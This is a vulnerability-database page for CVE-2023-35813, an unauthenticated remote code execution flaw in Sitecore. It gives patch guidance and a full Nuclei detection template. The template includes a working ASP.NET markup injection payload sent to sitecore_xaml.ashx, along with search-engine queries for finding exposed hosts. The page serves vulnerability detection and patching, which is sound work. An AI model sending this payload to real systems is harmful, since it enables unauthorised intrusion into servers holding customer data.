Browse / CVEs / CVE-2023-35813
CVE-2023-35813· sitecore / experience commerce· CWE-22, CWE-23
Sitecore - Remote Code Execution
Multiple Sitecore products allow remote code execution. This affects Experience Manager, Experience Platform, and Experience Commerce through 10.3.
Impact
Unauthenticated attackers can execute arbitrary code on Sitecore servers through the XAML parser by injecting malicious ASP.NET markup, potentially compromising the entire content management system and accessing sensitive customer data.
Fix
Apply Sitecore security patches as outlined in KB1002979 for Experience Manager, Experience Platform, and Experience Commerce versions through 10.3.
How to confirm it
Send: POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index
Positive when: contains(content_type, '{{string}}') and contains_all(body, 'commands', 'command', 'value') and status_code == 200Run it with nuclei: nuclei -id CVE-2023-35813 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2023-35813
info:
name: Sitecore - Remote Code Execution
author: DhiyaneshDk,iamnoooob
severity: critical
description: |
Multiple Sitecore products allow remote code execution. This affects Experience Manager, Experience Platform, and Experience Commerce through 10.3.
impact: |
Unauthenticated attackers can execute arbitrary code on Sitecore servers through the XAML parser by injecting malicious ASP.NET markup, potentially compromising the entire content management system and accessing sensitive customer data.
remediation: |
Apply Sitecore security patches as outlined in KB1002979 for Experience Manager, Experience Platform, and Experience Commerce versions through 10.3.
reference:
- https://code-white.com/blog/exploiting-asp.net-templateparser-part-1/
- https://nvd.nist.gov/vuln/detail/CVE-2023-35813
- https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1002979
- https://github.com/BagheeraAltered/CVE-2023-35813-PoC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-35813
cwe-id: CWE-22,CWE-23
epss-score: 0.86685
epss-percentile: 0.99743
cpe: cpe:2.3:a:sitecore:experience_commerce:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: sitecore
product: experience_commerce
shodan-query:
- title:"Sitecore"
- http.title:"sitecore"
fofa-query: title="sitecore"
google-query: intitle:"sitecore"
tags: cve2023,cve,sitecore,rce,vkev,vuln
variables:
string: "{{rand_base(6)}}"
payload: |
<%@Register
TagPrefix = 'x'
Namespace = 'System.Runtime.Remoting.Services'
Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
%>
<x:RemotingService runat='server'
Context-Response-ContentType='{{string}}'
/>
http:
- raw:
- |
POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl("{{url_encode(payload)}}")
matchers:
- type: dsl
dsl:
- contains(content_type, '{{string}}')
- contains_all(body, 'commands', 'command', 'value')
- status_code == 200
condition: andReferences
- https://code-white.com/blog/exploiting-asp.net-templateparser-part-1/
- https://nvd.nist.gov/vuln/detail/CVE-2023-35813
- https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1002979
- https://github.com/BagheeraAltered/CVE-2023-35813-PoC
Use this check only on systems you are authorised to test. Where the data comes from